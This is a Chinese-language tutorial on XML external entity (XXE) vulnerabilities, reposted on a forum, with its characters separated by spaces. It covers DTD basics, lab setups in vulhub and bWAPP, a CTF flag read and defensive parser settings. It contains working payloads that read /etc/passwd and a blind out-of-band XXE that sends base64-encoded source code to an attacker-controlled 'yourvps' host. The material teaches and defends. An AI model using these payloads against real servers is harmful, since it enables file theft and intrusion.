搜索

[26828] 2019-05-24_深入浅出-XXE漏洞

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-19
2019-05-24_深入浅出-XXE漏洞 深 入 浅 出 - X X E 漏 洞 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 5 - 2 4 本 文 作 者 ： 可 乐 可 乐 （ M s 0 8 0 6 7 实 验 室 W e b 小 组 成 员 ） 前 言 前 言 写 这 篇 的 主 要 目 的 是 因 为 很 多 C T F e r 还 有 一 些 安 全 人 员 不 是 很 清 楚 x x e 漏 洞 ， 还 有 在 面 试 当 中 ， x x e 漏 洞 也 经 常 被 问 到 ， 所 以 就 写 这 么 一 篇 文 章 来 学 习 x x e 漏 洞 .   本 篇 会 结 合 一 些 靶 场 还 有 C T F 来 进 行 讲 解 基 础 基 础 首 先 来 介 绍 一 下 X M L 和 D T D X M L 被 设 计 用 来 传 输 和 存 储 数 据 , 这 里 提 一 下 x m l 与 h t m l 的 区 别 : H T M L   旨 在 显 示 信 息 ， 而   X M L   旨 在 传 输 信 息 而 D T D 定 义   X M L   文 档 的 合 法 构 建 模 块 , 它 使 用 一 系 列 的 合 法 元 素 来 定 义 文 档 结 构 , D T D   可 被 成 行 地 声 明 于   X M L   文 档 中 ， 也 可 作 为 一 个 外 部 引 用 。 X M L 和 和 D T D 基 础 基 础 一 个   X M L   文 档 实 例 ： ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? > < n o t e > < t o > G e o r g e < / t o > < f r o m > J o h n < / f r o m > < h e a d i n g > R e m i n d e r < / h e a d i n g > < b o d y > D o n ' t   f o r g e t   t h e   m e e t i n g ! < / b o d y > < / n o t e > ` ` ` 第 一 行 是   X M L   声 明 。 它 定 义   X M L   的 版 本   ( 1 . 0 )   和 所 使 用 的 编 码   ( I S O - 8 8 5 9 - 1   =   L a t i n - 1 / 西 欧 字 符 集 ) 。 接 下 来 加 上 D T D 进 行 声 明 * * 内 部 的 内 部 的   D O C T Y P E   声 明 声 明 * * < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   n o t e   [                     / / 定 义 此 文 档 是   n o t e   类 型 的 文 档 。     < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) >   / / 定 义   n o t e   元 素 有 四 个 元 素 ： " t o 、 f r o m 、 h e a d i n g , 、 b o d y "     < ! E L E M E N T   t o             ( # P C D A T A ) >     / / 定 义   t o   元 素 为   " # P C D A T A "   类 型     < ! E L E M E N T   f r o m         ( # P C D A T A ) >       / / 定 义   f r o m   元 素 为   " # P C D A T A "   类 型     < ! E L E M E N T   h e a d i n g   ( # P C D A T A ) >     / /   h e a d i n g   元 素 为   " # P C D A T A "   类 型     < ! E L E M E N T   b o d y         ( # P C D A T A ) >     / / 定 义   b o d y   元 素 为   " # P C D A T A "   类 型 ] > < n o t e >     < t o > G e o r g e < / t o >     < f r o m > J o h n < / f r o m >     < h e a d i n g > R e m i n d e r < / h e a d i n g >     < b o d y > D o n ' t   f o r g e t   t h e   m e e t i n g ! < / b o d y >
< / n o t e > * * D T D 元 素 元 素 * * 在 一 个   D T D   中 ， 元 素 通 过 元 素 声 明 来 进 行 声 明 。 声 明 一 个 元 素 在   D T D   中 ， X M L   元 素 通 过 元 素 声 明 来 进 行 声 明 。 元 素 声 明 使 用 下 面 的 语 法 ： 只 有   P C D A T A   的 元 素 只 有   P C D A T A   的 元 素 通 过 圆 括 号 中 的   # P C D A T A   进 行 声 明 ： < ! E L E M E N T   元 素 名 称   ( # P C D A T A ) > 例 子 ： ` ` < ! E L E M E N T   f r o m   ( # P C D A T A ) > ` ` 带 有 任 何 内 容 的 元 素 通 过 类 别 关 键 词   A N Y   声 明 的 元 素 ， 可 包 含 任 何 可 解 析 数 据 的 组 合 ： < ! E L E M E N T   元 素 名 称   A N Y > 例 子 ： ` ` < ! E L E M E N T   n o t e   A N Y > ` ` 带 有 子 元 素 （ 序 列 ） 的 元 素 带 有 一 个 或 多 个 子 元 素 的 元 素 通 过 圆 括 号 中 的 子 元 素 名 进 行 声 明 ： < ! E L E M E N T   元 素 名 称   ( 子 元 素 名 称   1 ) > 或 者 < ! E L E M E N T   元 素 名 称   ( 子 元 素 名 称   1 , 子 元 素 名 称   2 , . . . . . ) > 例 子 ： ` ` < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) > ` ` 声 明 只 出 现 一 次 的 元 素 < ! E L E M E N T   元 素 名 称   ( 子 元 素 名 称 ) > 例 子 ： ` ` < ! E L E M E N T   n o t e   ( m e s s a g e ) > ` ` 上 面 的 例 子 声 明 了 ： m e s s a g e 子 元 素 必 须 出 现 一 次 ， 并 且 必 须 只 在   " n o t e " 元 素 中 出 现 一 次 。 * * 外 部 文 档 声 明 外 部 文 档 声 明 * * < ! D O C T Y P E   根 元 素   S Y S T E M   " 文 件 名 " > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   n o t e   S Y S T E M   " n o t e . d t d " > < n o t e > < t o > G e o r g e < / t o > < f r o m > J o h n < / f r o m > < h e a d i n g > R e m i n d e r < / h e a d i n g > < b o d y > D o n ' t   f o r g e t   t h e   m e e t i n g ! < / b o d y > < / n o t e > ` ` ` 这 个   X M L   文 档 和 上 面 的   X M L   文 档 相 同 ， 但 是 拥 有 一 个 外 部 的   D T D 这 是 包 含   D T D   的   " n o t e . d t d "   文 件 ： < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) > < ! E L E M E N T   t o   ( # P C D A T A ) > < ! E L E M E N T   f r o m   ( # P C D A T A ) > < ! E L E M E N T   h e a d i n g   ( # P C D A T A ) >
< ! E L E M E N T   b o d y   ( # P C D A T A ) > D T D 实 体 声 明 实 体 声 明 重 点 介 绍 实 体 声 明 * * 内 部 实 体 声 明 内 部 实 体 声 明 * * ` ` < ! E N T I T Y   实 体 名 称   " 实 体 的 值 " > ` ` D T D   例 子 : < ! E N T I T Y   w r i t e r   " B i l l   G a t e s " > 将 w r i t e r   声 明 为 ” B i l l   G a t e s ” ， c o p y r i g h t   声 明 为   “ C o p y r i g h t   W 3 S c h o o l . c o m . c n ” X M L   例 子 : ` ` < a u t h o r > & w r i t e r ; & c o p y r i g h t ; < / a u t h o r > ` ` 注 释 :   一 个 实 体 由 三 部 分 构 成 :   一 个 和 号   ( & ) ,   一 个 实 体 名 称 ,   以 及 一 个 分 号   ( ; ) 。 < ! D O C T Y P E   f o o   [         < ! E N T I T Y   x x e     " s e c   t e s t "   > ] > < r o o t >         < n a m e > & x x e ; < / n a m e > < / r o o t > * * 外 部 实 体 声 明 外 部 实 体 声 明 * * 外 部 实 体 引 用 支 持 通 过 协 议 ， 来 动 态 的 获 取 值 ` ` < ! E N T I T Y   实 体 名 称   S Y S T E M   " U R I / U R L " > ` ` 例 子 ： D T D   例 子 : ` ` ` < ! E N T I T Y   w r i t e r   S Y S T E M   " h t t p : / / w w w . w 3 s c h o o l . c o m . c n / d t d / e n t i t i e s . d t d " > < ! E N T I T Y   c o p y r i g h t   S Y S T E M   " h t t p : / / w w w . w 3 s c h o o l . c o m . c n / d t d / e n t i t i e s . d t d " > ` ` ` X M L   例 子 : ` ` < a u t h o r > & w r i t e r ; & c o p y r i g h t ; < / a u t h o r > ` ` 可 以 通 过 ` ` f i l e : / / ` ` 协 议 来 读 取 文 件 内 容 ` ` ` < ! D O C T Y P E   f o o   [         < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < r o o t >         < n a m e > & x x e ; < / n a m e > < / r o o t > ` ` ` 不 同 语 言 支 持 的 协 议 不 同 * * 参 数 实 体 参 数 实 体 * * ： < ! E N T I T Y   %   实 体 名 称   " 实 体 的 值 " >
o r < ! E N T I T Y   %   实 体 名 称   S Y S T E M   " U R I " > 参 数 实 体 只 能 在 D T D 中 申 明 ， D T D 中 引 用 ， 它 们 使 用 百 分 号 ( % ) 而 不 是 与 字 符 ( & ) ， 可 以 是 命 名 实 体 或 外 部 实 体 。 ， 能 够 解 析 实 体 或 者 u r i ， 进 行 x m l 解 析 ， 进 而 获 得 其 中 的 变 量 注 : 一 般 用 于 B l i n e   X X E ` ` ` < ! E N T I T Y   %   s t y l e   " 2 3 3 3 " > < ! E N T I T Y   %   t e s t   " % s t y l e " > ` ` ` * * 公 共 实 体 声 明 公 共 实 体 声 明 * * < ! E N T I T Y   实 体 名 称   P U B L I C   " p u b l i c _ I D "   " U R I " > X X E 漏 洞 漏 洞 当 允 许 引 用 外 部 实 体 时 ， 通 过 构 造 恶 意 内 容 ， 可 导 致 读 取 任 意 文 件 、 执 行 系 统 命 令 、 探 测 内 网 端 口 、 攻 击 内 网 网 站 等 危 害 。 x x e 漏 洞 触 发 的 点 往 往 是 可 以 上 传 x m l 文 件 的 位 置 ， 没 有 对 上 传 的 x m l 文 件 进 行 过 滤 ， 导 致 可 上 传 恶 意 x m l 文 件 如 果 x m l 能 够 被 解 析 ， 比 如 输 入 ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   " m y   n a m e   i s   n M a s k " > ] > < r o o t > & n a m e ; < / r o o t > ` ` ` 如 果 页 面 输 出 了 m y   n a m e   i s   n M a s k ， 说 明 x m l 文 件 可 以 被 解 析 。 接 下 来 测 试 是 否 支 持 D T D 引 用 外 部 实 体 而 导 致 x x e 注 入 ` ` ` < ? x m l   v e r s i o n = ” 1 . 0 ”   e n c o d i n g = ” U T F - 8 ” ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   %   n a m e   S Y S T E M   " h t t p : / / l o c a l h o s t / i n d e x . h t m l " > % n a m e ; ] > ` ` ` 可 通 过 查 看 自 己 服 务 器 上 的 日 志 来 判 断 ， 看 目 标 服 务 器 是 否 向 你 的 服 务 器 发 了 一 条 请 求 i n d e x . h t m l 的 请 求 。 接 下 里 安 装 漏 洞 环 境 本 人 在 c e n t o s 下 ， 安 装 d o c k e r 后 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b . g i t 进 入 / v u l h u b / v u l h u b / t r e e / m a s t e r / p h p / p h p _ x x e 输 入 ` p i p   i n s t a l l   d o c k e r - c o m p o s e ` 即 可 环 境 启 动 后 ， 访 问 h t t p : / / y o u r - i p : 8 0 8 0 / i n d e x . p h p 即 可 看 到 p h p i n f o w w w 目 录 包 含 四 个 文 件 ` ` ` ├ ─ ─   d o m . p h p   #   示 例 ： 使 用 D O M D o c u m e n t 解 析 b o d y ├ ─ ─   i n d e x . p h p   # p h p i n f o ( ) ├ ─ ─   S i m p l e X M L E l e m e n t . p h p   #   示 例 ： 使 用 S i m p l e X M L E l e m e n t 类 解 析 b o d y └ ─ ─   s i m p l e x m l _ l o a d _ s t r i n g . p h p   #   示 例 ： 使 用 s i m p l e x m l _ l o a d _ s t r i n g 函 数 解 析 b o d y ` ` ` ` S i m p l e X M L E l e m e n t . p h p
` ` ` < ? p h p $ d a t a   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ x m l   =   n e w   S i m p l e X M L E l e m e n t ( $ d a t a ) ;     / / 解 析 x m l e c h o   $ x m l - > n a m e ; ` ` ` d o m . p h p ` ` ` < ? p h p $ d a t a   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ d o m   =   n e w   D O M D o c u m e n t ( ) ; $ d o m - > l o a d X M L ( $ d a t a ) ; p r i n t _ r ( $ d o m ) ; ` ` ` s i m p l e x m l _ l o a d _ s t r i n g . p h p ` ` ` < ? p h p $ d a t a   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ x m l   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ d a t a ) ; e c h o   $ x m l - > n a m e ; ` ` ` 首 先 测 试 是 否 能 够 解 析 x m l ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   r o o t   [ < ! E N T I T Y   w r i t e r   " B i l l   G a t e s " > < ! E N T I T Y   c o p y r i g h t   " C o p y r i g h t   W 3 S c h o o l . c o m . c n " > ] > < r o o t > < n a m e > & w r i t e r ; & c o p y r i g h t ; < / n a m e > < / r o o t > * * 内 部 实 体 内 部 实 体 * *
* * 外 部 实 体 外 部 实 体 * * ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   r o o t [ < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < r o o t > < n a m e > & x x e ; < / n a m e > < / r o o t > * * 参 数 实 体 参 数 实 体 * * 当 没 有 回 显 即 没 有 这 个 语 句 的 时 候 ` ` e c h o   $ x m l - > n a m e ; ` ` 该 怎 么 办 呢 这 个 时 候 我 们 可 以 利 用 参 数 实 体 ， 通 过 发 起 h t t p 请 求 来 攻 击 。 先 进 行 参 数 实 体 声 明 看 看 ~ 在 远 程 服 务 器 新 建 x x e . d t d 文 件 ， 内 容 为 ： < ! E N T I T Y   e v i l   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > x m l 内 容 为 < ! D O C T Y P E   f o o   [         < ! E N T I T Y     %   x x e   S Y S T E M   " h t t p : / / i p / x x e . d t d "   >         % x x e ; ] > < r o o t >         < n a m e > & e v i l ; < / n a m e > < / r o o t >
相 当 于 : < ! D O C T Y P E   f o o   [         < ! E N T I T Y     %   x x e   " < ! E N T I T Y   e v i l   S Y S T E M   ' f i l e : / / / e t c / p a s s w d ' > "   >         % x x e ; ] > < r o o t >         < n a m e > & e v i l ; < / n a m e > < / r o o t > 如 果 目 标 服 务 器 没 有 回 显 ， 就 只 能 用   B l i n d   X X E   了 。 原 理 就 是 带 着 获 取 的 文 件 源 码 以   g e t   参 数 或 其 他 形 式 去 访 问 我 们 的 服 务 器 ， 然 后 在 日 志 里 就 可 以 找 到 我 们 要 获 取 的 内 容 了 。 先 在 我 的 服 务 器 建 一 个 x x e . x m l 文 件 , 内 容 为 ： ` ` ` < ! E N T I T Y   %   a l l   " < ! E N T I T Y   s e n d   S Y S T E M   ' h t t p : / / y o u r v p s / % f i l e ; ' > " > ` ` ` 接 下 来 读 取 内 容 ， 我 们 提 交 ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   d a t a   [ < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = i n d e x . p h p " > < ! E N T I T Y   %   d t d   S Y S T E M   " h t t p : / / y o u r v p s / x x e . x m l " > % d t d ;   % a l l ; ] > < v a l u e > & s e n d ; < / v a l u e > ` ` ` 整 个 的 调 用 过 程 如 下 ： 解 析 时 % d t d 引 入 x x e . x m l ， 之 后 % a l l 引 入 s e n d 的 定 义 ， 最 后 引 用 了 实 体 s e n d ， 把 % f i l e 文 件 内 容 通 过 一 个 h t t p 请 求 发 了 出 去 。 注 意 需 要 把 p a y l o a d 经 过 u r l 编 码 。 然 后 在 服 务 器 的 l o g 中 看 到 b a s e 6 4 加 密 后 的 内 容 ( / v a r / l o g / h t t p d / a c c e s s . l o g )
使 用 使 用 b W a p p 学 习 学 习 环 境 搭 建 : v u l s t u d y 是 专 门 收 集 当 下 流 行 的 漏 洞 学 习 平 台 , 现 在 用 它 来 一 键 搭 建 b W a p p 下 载 v u l s t u d y 项 目 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c 0 n y 1 / v u l s t u d y . g i t c d   v u l s t u d y / b W a p p d o c k e r - c o m p o s e   u p   - d   # 启 动 容 器 注 : 第 一 次 创 建 应 事 先 访 问 / i n s t a l l . p h p 来 创 建 数 据 库 安 装 好 之 后 ， C h o o s e   y o u r   b u g   选 择   X M L   E x t e r n a l   E n t i t y   A t t a c k s   ( X X E ) 先 抓 包 x x e - 1 . p h p 页 面 在 向 x x e - 2 . p h p 页 面 传 输 数 据 过 程 中 ， 其 中 的 x m l 数 据 是 可 控 的 ， 也 就 是 说 可 以 构 造 恶 意 数 据 进 行 传 输 ， 添 加 一 个 外 部 实 体 在 X M L 数 据 中 进 行 实 体 调 用 ， 从 而 进 行 X X E 攻 击 。 C T F h t t p : / / w e b . j a r v i s o j . c o m : 9 8 8 2 / 获 得 目 标 机 器 / h o m e / c t f / f l a g . t x t 中 的 f l a g 值 。 将 C o n t e n t - T y p e 的 值 改 为 a p p l i c a t i o n / x m l ， 然 后 提 交 x m l 发 现 能 够 被 解 析
于 是 修 改 p a y l o a d 为 : < ! D O C T Y P E   f o o   [         < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / h o m e / c t f / f l a g . t x t "   > ] > < r o o t >         < n a m e > & x x e ; < / n a m e > < / r o o t > 防 御 防 御 禁 用 外 部 实 体 p h p l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; j a v a D o c u m e n t B u i l d e r F a c t o r y   d b f   = D o c u m e n t B u i l d e r F a c t o r y . n e w I n s t a n c e ( ) ; d b f . s e t E x p a n d E n t i t y R e f e r e n c e s ( f a l s e ) ; p y t h o n f r o m   l x m l   i m p o r t   e t r e e x m l D a t a   =   e t r e e . p a r s e ( x m l S o u r c e , e t r e e . X M L P a r s e r ( r e s o l v e _ e n t i t i e s = F a l s e ) ) 参 考 参 考 h t t p s : / / b l o g . c s d n . n e t / c o m _ m a / a r t i c l e / d e t a i l s / 7 3 2 7 7 5 3 5 h t t p s : / / g i t h u b . c o m / c 0 n y 1 / x x e - l a b h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 2 6 7 8 8 . h t m l h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 8 8 8 4 9 . h t m l h t t p s : / / w w w . i b m . c o m / d e v e l o p e r w o r k s / c n / x m l / x - e n t i t i e s /
来 源 ： M s 0 8 0 6 7 安 全 实 验 室   m s 0 8 0 6 7 安 全 实 验 室 界 世 的 你 当 作 你 的 肩 膀
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理